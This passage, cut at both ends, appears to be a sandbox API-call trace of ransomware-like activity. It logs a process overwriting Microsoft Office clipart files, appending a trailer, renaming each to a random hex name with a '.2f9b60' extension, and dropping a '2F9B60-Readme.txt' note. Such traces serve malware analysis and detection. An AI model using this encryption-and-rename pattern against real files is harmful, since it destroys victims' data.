Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf")) returned 0x20 [0122.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF", dwFileAttributes=0x20) returned 1 [0122.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xff0 [0122.498] GetFileSizeEx (in: hFile=0xff0, lpFileSize=0x1e44fbe0 | out: lpFileSize=0x1e44fbe0*=1516) returned 1 [0122.498] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x5e8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.498] ReadFile (in: hFile=0xff0, lpBuffer=0x1e44fb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e44fba8, lpOverlapped=0x0 | out: lpBuffer=0x1e44fb60*, lpNumberOfBytesRead=0x1e44fba8*=0x4, lpOverlapped=0x0) returned 1 [0122.530] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a990 [0122.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dd20 [0122.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ddb0 [0122.530] NtQuerySystemTime (in: CurrentTime=0x1e44faa0 | out: CurrentTime=0x1e44faa0*=132462177279118000) returned 0x0 [0122.530] RtlRandomEx (in: Seed=0x1e44fa90 | out: Seed=0x1e44fa90) returned 0x1ce6cf15 [0122.530] RtlRandomEx (in: Seed=0x1e44fa90 | out: Seed=0x1e44fa90) returned 0x36751c78 [0122.530] RtlRandomEx (in: Seed=0x1e44fa90 | out: Seed=0x1e44fa90) returned 0x3d666385 [0122.530] RtlRandomEx (in: Seed=0x1e44fa90 | out: Seed=0x1e44fa90) returned 0x6d7c6e36 [0122.530] RtlRandomEx (in: Seed=0x1e44fa90 | out: Seed=0x1e44fa90) returned 0x6ab7e647 [0122.530] RtlRandomEx (in: Seed=0x1e44fa90 | out: Seed=0x1e44fa90) returned 0xdf9a58e [0122.530] RtlRandomEx (in: Seed=0x1e44fa90 | out: Seed=0x1e44fa90) returned 0x2ea91117 [0122.530] RtlRandomEx (in: Seed=0x1e44fa90 | out: Seed=0x1e44fa90) returned 0x41074f32 [0122.530] RtlRandomEx (in: Seed=0x1e44fa90 | out: Seed=0x1e44fa90) returned 0x51bbef8c [0122.530] RtlRandomEx (in: Seed=0x1e44fa90 | out: Seed=0x1e44fa90) returned 0x56b23402 [0122.530] RtlRandomEx (in: Seed=0x1e44fa90 | out: Seed=0x1e44fa90) returned 0x7f26d170 [0122.530] RtlRandomEx (in: Seed=0x1e44fa90 | out: Seed=0x1e44fa90) returned 0x5cfb4010 [0122.530] RtlRandomEx (in: Seed=0x1e44fa90 | out: Seed=0x1e44fa90) returned 0x5e8d6c0b [0122.530] RtlRandomEx (in: Seed=0x1e44fa90 | out: Seed=0x1e44fa90) returned 0x22e374a5 [0122.530] RtlRandomEx (in: Seed=0x1e44fa90 | out: Seed=0x1e44fa90) returned 0xf4545d2 [0122.530] RtlRandomEx (in: Seed=0x1e44fa90 | out: Seed=0x1e44fa90) returned 0x4725bc6 [0122.530] RtlRandomEx (in: Seed=0x1e44fa90 | out: Seed=0x1e44fa90) returned 0x144acb1a [0122.530] RtlRandomEx (in: Seed=0x1e44fa90 | out: Seed=0x1e44fa90) returned 0x613e9db8 [0122.530] RtlRandomEx (in: Seed=0x1e44fa90 | out: Seed=0x1e44fa90) returned 0x2b0c7f8c [0122.530] RtlRandomEx (in: Seed=0x1e44fa90 | out: Seed=0x1e44fa90) returned 0x7619fed2 [0122.530] RtlRandomEx (in: Seed=0x1e44fa90 | out: Seed=0x1e44fa90) returned 0x4f245e8b [0122.530] RtlRandomEx (in: Seed=0x1e44fa90 | out: Seed=0x1e44fa90) returned 0x521aaf64 [0122.530] RtlRandomEx (in: Seed=0x1e44fa90 | out: Seed=0x1e44fa90) returned 0x72687d40 [0122.530] RtlRandomEx (in: Seed=0x1e44fa90 | out: Seed=0x1e44fa90) returned 0x41074f32 [0122.530] RtlRandomEx (in: Seed=0x1e44fa90 | out: Seed=0x1e44fa90) returned 0x4ce98453 [0122.531] RtlRandomEx (in: Seed=0x1e44fa90 | out: Seed=0x1e44fa90) returned 0x269a141 [0122.531] RtlRandomEx (in: Seed=0x1e44fa90 | out: Seed=0x1e44fa90) returned 0x41af526e [0122.531] RtlRandomEx (in: Seed=0x1e44fa90 | out: Seed=0x1e44fa90) returned 0x53f30fa1 [0122.531] RtlRandomEx (in: Seed=0x1e44fa90 | out: Seed=0x1e44fa90) returned 0x6e4b1e73 [0122.531] RtlRandomEx (in: Seed=0x1e44fa90 | out: Seed=0x1e44fa90) returned 0x34591d58 [0122.531] RtlRandomEx (in: Seed=0x1e44fa90 | out: Seed=0x1e44fa90) returned 0x1794b1e3 [0122.531] RtlRandomEx (in: Seed=0x1e44fa90 | out: Seed=0x1e44fa90) returned 0x375d3bc2 [0122.538] ReadFile (in: hFile=0xff0, lpBuffer=0x20491ef0, nNumberOfBytesToRead=0x5ec, lpNumberOfBytesRead=0x1e44fa90, lpOverlapped=0x0 | out: lpBuffer=0x20491ef0*, lpNumberOfBytesRead=0x1e44fa90*=0x5ec, lpOverlapped=0x0) returned 1 [0122.538] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.538] WriteFile (in: hFile=0xff0, lpBuffer=0x20486ac0*, nNumberOfBytesToWrite=0x5ec, lpNumberOfBytesWritten=0x1e44fa94, lpOverlapped=0x0 | out: lpBuffer=0x20486ac0*, lpNumberOfBytesWritten=0x1e44fa94*=0x5ec, lpOverlapped=0x0) returned 1 [0122.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ef80 [0122.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050efb0 [0122.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050efb0) returned 1 [0122.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20486ac0) returned 1 [0122.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20491ef0) returned 1 [0122.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f290) returned 1 [0122.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c440) returned 1 [0122.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050efb0 [0122.828] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.828] WriteFile (in: hFile=0xff0, lpBuffer=0x204ff8d0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1e44fbb0, lpOverlapped=0x0 | out: lpBuffer=0x204ff8d0*, lpNumberOfBytesWritten=0x1e44fbb0*=0x10a, lpOverlapped=0x0) returned 1 [0123.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d50 [0123.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0123.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dd80 [0123.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050dd80) returned 1 [0123.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0123.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dd80 [0123.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dd50 [0123.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050dd50) returned 1 [0123.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0123.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d50) returned 1 [0123.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0670 [0123.045] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="c9") returned 2 [0123.045] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="51") returned 2 [0123.045] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="bb") returned 2 [0123.045] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="73") returned 2 [0123.045] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="5f") returned 2 [0123.045] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="e5") returned 2 [0123.045] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="d7") returned 2 [0123.045] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="cc") returned 2 [0123.045] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="08") returned 2 [0123.045] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="1a") returned 2 [0123.045] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="05") returned 2 [0123.045] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="72") returned 2 [0123.045] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="7d") returned 2 [0123.045] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="9c") returned 2 [0123.045] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="a7") returned 2 [0123.045] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="af") returned 2 [0123.045] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="77") returned 2 [0123.045] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="03") returned 2 [0123.045] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="98") returned 2 [0123.045] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="99") returned 2 [0123.045] sprintf (in: _Dest=0x1cda0698, _Format="%c%c" | out: _Dest="68") returned 2 [0123.045] sprintf (in: _Dest=0x1cda069a, _Format="%c%c" | out: _Dest="00") returned 2 [0123.045] sprintf (in: _Dest=0x1cda069c, _Format="%c%c" | out: _Dest="4a") returned 2 [0123.045] sprintf (in: _Dest=0x1cda069e, _Format="%c%c" | out: _Dest="c0") returned 2 [0123.045] RtlInitAnsiString (in: DestinationString=0x1e44fc28, SourceString="c951bb735fe5d7cc081a05727d9ca7af7703989968004ac0" | out: DestinationString="c951bb735fe5d7cc081a05727d9ca7af7703989968004ac0") [0123.045] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e44fbf8, SourceString="c951bb735fe5d7cc081a05727d9ca7af7703989968004ac0", AllocateDestinationString=1 | out: DestinationString="c951bb735fe5d7cc081a05727d9ca7af7703989968004ac0") returned 0x0 [0123.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced90f0 [0123.046] wcscat (in: _Dest=0x202b1af0, _Source="c951bb735fe5" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c951bb735fe5") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c951bb735fe5" [0123.046] wcscat (in: _Dest=0x202b1af0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c951bb735fe5.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c951bb735fe5.2f9b60" [0123.046] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c951bb735fe5.2f9b60", NtPathName=0x1e44fbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c951bb735fe5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0123.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107d80 [0123.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107d80) returned 1 [0123.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20293990) returned 1 [0123.384] NtQueryInformationFile (in: FileHandle=0xff0, IoStatusBlock=0x1e44fc38, FileInformation=0x1e44fc48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1e44fc38, FileInformation=0x1e44fc48) returned 0x0 [0123.384] NtSetInformationFile (FileHandle=0xff0, IoStatusBlock=0x1e44fc38, FileInformation=0x1e44fc48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1af0) returned 1 [0123.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced90f0) returned 1 [0123.389] FlushFileBuffers (hFile=0xff0) returned 1 [0123.394] CloseHandle (hObject=0xff0) returned 1 [0123.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1370 [0123.395] wcscpy (in: _Dest=0x202b1370, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0123.395] wcscat (in: _Dest=0x202b1370, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0123.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0123.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1370) returned 1 [0123.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a4a0) returned 1 Thread: id = 1492 os_tid = 0x19a4 [0120.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf")) returned 0x20 [0122.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF", dwFileAttributes=0x20) returned 1 [0122.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfd4 [0122.547] GetFileSizeEx (in: hFile=0xfd4, lpFileSize=0x1e1dfbc0 | out: lpFileSize=0x1e1dfbc0*=3986) returned 1 [0122.547] SetFilePointerEx (in: hFile=0xfd4, liDistanceToMove=0xf8e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.547] ReadFile (in: hFile=0xfd4, lpBuffer=0x1e1dfb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e1dfb88, lpOverlapped=0x0 | out: lpBuffer=0x1e1dfb40*, lpNumberOfBytesRead=0x1e1dfb88*=0x4, lpOverlapped=0x0) returned 1 [0122.574] SetFilePointerEx (in: hFile=0xfd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a990 [0122.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dff0 [0122.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e080 [0122.575] NtQuerySystemTime (in: CurrentTime=0x1e1dfa80 | out: CurrentTime=0x1e1dfa80*=132462177279586000) returned 0x0 [0122.575] RtlRandomEx (in: Seed=0x1e1dfa70 | out: Seed=0x1e1dfa70) returned 0x5236bb48 [0122.575] RtlRandomEx (in: Seed=0x1e1dfa70 | out: Seed=0x1e1dfa70) returned 0x49f95a24 [0122.575] RtlRandomEx (in: Seed=0x1e1dfa70 | out: Seed=0x1e1dfa70) returned 0x1f961a47 [0122.575] RtlRandomEx (in: Seed=0x1e1dfa70 | out: Seed=0x1e1dfa70) returned 0x311ce318 [0122.575] RtlRandomEx (in: Seed=0x1e1dfa70 | out: Seed=0x1e1dfa70) returned 0x4c77a931 [0122.575] RtlRandomEx (in: Seed=0x1e1dfa70 | out: Seed=0x1e1dfa70) returned 0x2f780d58 [0122.575] RtlRandomEx (in: Seed=0x1e1dfa70 | out: Seed=0x1e1dfa70) returned 0x37de5edf [0122.575] RtlRandomEx (in: Seed=0x1e1dfa70 | out: Seed=0x1e1dfa70) returned 0x7ecc4c99 [0122.575] RtlRandomEx (in: Seed=0x1e1dfa70 | out: Seed=0x1e1dfa70) returned 0x696df02e [0122.575] RtlRandomEx (in: Seed=0x1e1dfa70 | out: Seed=0x1e1dfa70) returned 0x2471a96e [0122.575] RtlRandomEx (in: Seed=0x1e1dfa70 | out: Seed=0x1e1dfa70) returned 0x7af65f65 [0122.575] RtlRandomEx (in: Seed=0x1e1dfa70 | out: Seed=0x1e1dfa70) returned 0x3e1e65e2 [0122.575] RtlRandomEx (in: Seed=0x1e1dfa70 | out: Seed=0x1e1dfa70) returned 0x631c0917 [0122.575] RtlRandomEx (in: Seed=0x1e1dfa70 | out: Seed=0x1e1dfa70) returned 0x7970b3b9 [0122.575] RtlRandomEx (in: Seed=0x1e1dfa70 | out: Seed=0x1e1dfa70) returned 0x6f62dc74 [0122.575] RtlRandomEx (in: Seed=0x1e1dfa70 | out: Seed=0x1e1dfa70) returned 0x33081d4f [0122.575] RtlRandomEx (in: Seed=0x1e1dfa70 | out: Seed=0x1e1dfa70) returned 0x79f94627 [0122.575] RtlRandomEx (in: Seed=0x1e1dfa70 | out: Seed=0x1e1dfa70) returned 0x37de5edf [0122.575] RtlRandomEx (in: Seed=0x1e1dfa70 | out: Seed=0x1e1dfa70) returned 0x238d45c1 [0122.576] RtlRandomEx (in: Seed=0x1e1dfa70 | out: Seed=0x1e1dfa70) returned 0xe962ee4 [0122.576] RtlRandomEx (in: Seed=0x1e1dfa70 | out: Seed=0x1e1dfa70) returned 0x174adc29 [0122.576] RtlRandomEx (in: Seed=0x1e1dfa70 | out: Seed=0x1e1dfa70) returned 0x1855b3de [0122.576] RtlRandomEx (in: Seed=0x1e1dfa70 | out: Seed=0x1e1dfa70) returned 0x477226c1 [0122.576] RtlRandomEx (in: Seed=0x1e1dfa70 | out: Seed=0x1e1dfa70) returned 0xcac28c9 [0122.576] RtlRandomEx (in: Seed=0x1e1dfa70 | out: Seed=0x1e1dfa70) returned 0x208a0841 [0122.576] RtlRandomEx (in: Seed=0x1e1dfa70 | out: Seed=0x1e1dfa70) returned 0x5236bb48 [0122.576] RtlRandomEx (in: Seed=0x1e1dfa70 | out: Seed=0x1e1dfa70) returned 0x29db3645 [0122.576] RtlRandomEx (in: Seed=0x1e1dfa70 | out: Seed=0x1e1dfa70) returned 0x4987833b [0122.576] RtlRandomEx (in: Seed=0x1e1dfa70 | out: Seed=0x1e1dfa70) returned 0x78cd08dc [0122.576] RtlRandomEx (in: Seed=0x1e1dfa70 | out: Seed=0x1e1dfa70) returned 0x3773a979 [0122.576] RtlRandomEx (in: Seed=0x1e1dfa70 | out: Seed=0x1e1dfa70) returned 0xe962ee4 [0122.576] RtlRandomEx (in: Seed=0x1e1dfa70 | out: Seed=0x1e1dfa70) returned 0x419ae15 [0122.582] ReadFile (in: hFile=0xfd4, lpBuffer=0x2043b690, nNumberOfBytesToRead=0xf92, lpNumberOfBytesRead=0x1e1dfa70, lpOverlapped=0x0 | out: lpBuffer=0x2043b690*, lpNumberOfBytesRead=0x1e1dfa70*=0xf92, lpOverlapped=0x0) returned 1 [0122.583] SetFilePointerEx (in: hFile=0xfd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.583] WriteFile (in: hFile=0xfd4, lpBuffer=0x2046ff70*, nNumberOfBytesToWrite=0xf92, lpNumberOfBytesWritten=0x1e1dfa74, lpOverlapped=0x0 | out: lpBuffer=0x2046ff70*, lpNumberOfBytesWritten=0x1e1dfa74*=0xf92, lpOverlapped=0x0) returned 1 [0160.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a18e0 [0160.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1910 [0160.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1910) returned 1 [0160.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2046ff70) returned 1 [0160.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2043b690) returned 1 [0160.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e710) returned 1 [0160.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059420) returned 1 [0160.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a1910 [0160.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059420 [0160.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e710 [0160.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1940 [0160.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1940) returned 1 [0160.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a1940 [0160.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1970 [0160.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a19a0 [0160.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a19a0) returned 1 [0160.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e710) returned 1 [0160.778] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059420) returned 1 [0160.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167dc0 [0160.778] SetFilePointerEx (in: hFile=0xfd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0160.778] WriteFile (hFile=0xfd4, lpBuffer=0x167dc0, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1e1dfb90, lpOverlapped=0x0) [0206.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0206.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebaf60 [0206.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc950 [0206.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc950) returned 1 [0206.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0eae0 [0206.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc950 [0206.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc920 [0206.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc920) returned 1 [0206.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebaf60) returned 1 [0206.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0206.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9fb70 [0206.814] sprintf (in: _Dest=0x1cd9fb70, _Format="%c%c" | out: _Dest="44") returned 2 [0206.814] sprintf (in: _Dest=0x1cd9fb72, _Format="%c%c" | out: _Dest="8b") returned 2 [0206.814] sprintf (in: _Dest=0x1cd9fb74, _Format="%c%c" | out: _Dest="d7") returned 2 [0206.814] sprintf (in: _Dest=0x1cd9fb76, _Format="%c%c" | out: _Dest="eb") returned 2 [0206.814] sprintf (in: _Dest=0x1cd9fb78, _Format="%c%c" | out: _Dest="26") returned 2 [0206.814] sprintf (in: _Dest=0x1cd9fb7a, _Format="%c%c" | out: _Dest="a2") returned 2 [0206.814] sprintf (in: _Dest=0x1cd9fb7c, _Format="%c%c" | out: _Dest="4d") returned 2 [0206.814] sprintf (in: _Dest=0x1cd9fb7e, _Format="%c%c" | out: _Dest="a9") returned 2 [0206.814] sprintf (in: _Dest=0x1cd9fb80, _Format="%c%c" | out: _Dest="28") returned 2 [0206.814] sprintf (in: _Dest=0x1cd9fb82, _Format="%c%c" | out: _Dest="06") returned 2 [0206.814] sprintf (in: _Dest=0x1cd9fb84, _Format="%c%c" | out: _Dest="53") returned 2 [0206.814] sprintf (in: _Dest=0x1cd9fb86, _Format="%c%c" | out: _Dest="d2") returned 2 [0206.814] sprintf (in: _Dest=0x1cd9fb88, _Format="%c%c" | out: _Dest="04") returned 2 [0206.814] sprintf (in: _Dest=0x1cd9fb8a, _Format="%c%c" | out: _Dest="1f") returned 2 [0206.814] sprintf (in: _Dest=0x1cd9fb8c, _Format="%c%c" | out: _Dest="db") returned 2 [0206.814] sprintf (in: _Dest=0x1cd9fb8e, _Format="%c%c" | out: _Dest="b9") returned 2 [0206.815] sprintf (in: _Dest=0x1cd9fb90, _Format="%c%c" | out: _Dest="b9") returned 2 [0206.815] sprintf (in: _Dest=0x1cd9fb92, _Format="%c%c" | out: _Dest="a2") returned 2 [0206.815] sprintf (in: _Dest=0x1cd9fb94, _Format="%c%c" | out: _Dest="23") returned 2 [0206.815] sprintf (in: _Dest=0x1cd9fb96, _Format="%c%c" | out: _Dest="99") returned 2 [0206.815] sprintf (in: _Dest=0x1cd9fb98, _Format="%c%c" | out: _Dest="36") returned 2 [0206.815] sprintf (in: _Dest=0x1cd9fb9a, _Format="%c%c" | out: _Dest="b5") returned 2 [0206.815] sprintf (in: _Dest=0x1cd9fb9c, _Format="%c%c" | out: _Dest="5f") returned 2 [0206.815] sprintf (in: _Dest=0x1cd9fb9e, _Format="%c%c" | out: _Dest="87") returned 2 [0206.815] RtlInitAnsiString (in: DestinationString=0x1e1dfc08, SourceString="448bd7eb26a24da9280653d2041fdbb9b9a2239936b55f87" | out: DestinationString="448bd7eb26a24da9280653d2041fdbb9b9a2239936b55f87") [0206.815] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e1dfbd8, SourceString="448bd7eb26a24da9280653d2041fdbb9b9a2239936b55f87", AllocateDestinationString=1 | out: DestinationString="448bd7eb26a24da9280653d2041fdbb9b9a2239936b55f87") returned 0x0 [0206.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8574f0 [0206.815] wcscat (in: _Dest=0x431c6ae0, _Source="448bd7eb26a2" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\448bd7eb26a2") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\448bd7eb26a2" [0206.816] wcscat (in: _Dest=0x431c6ae0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\448bd7eb26a2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\448bd7eb26a2.2f9b60" [0206.816] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\448bd7eb26a2.2f9b60", NtPathName=0x1e1dfbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft 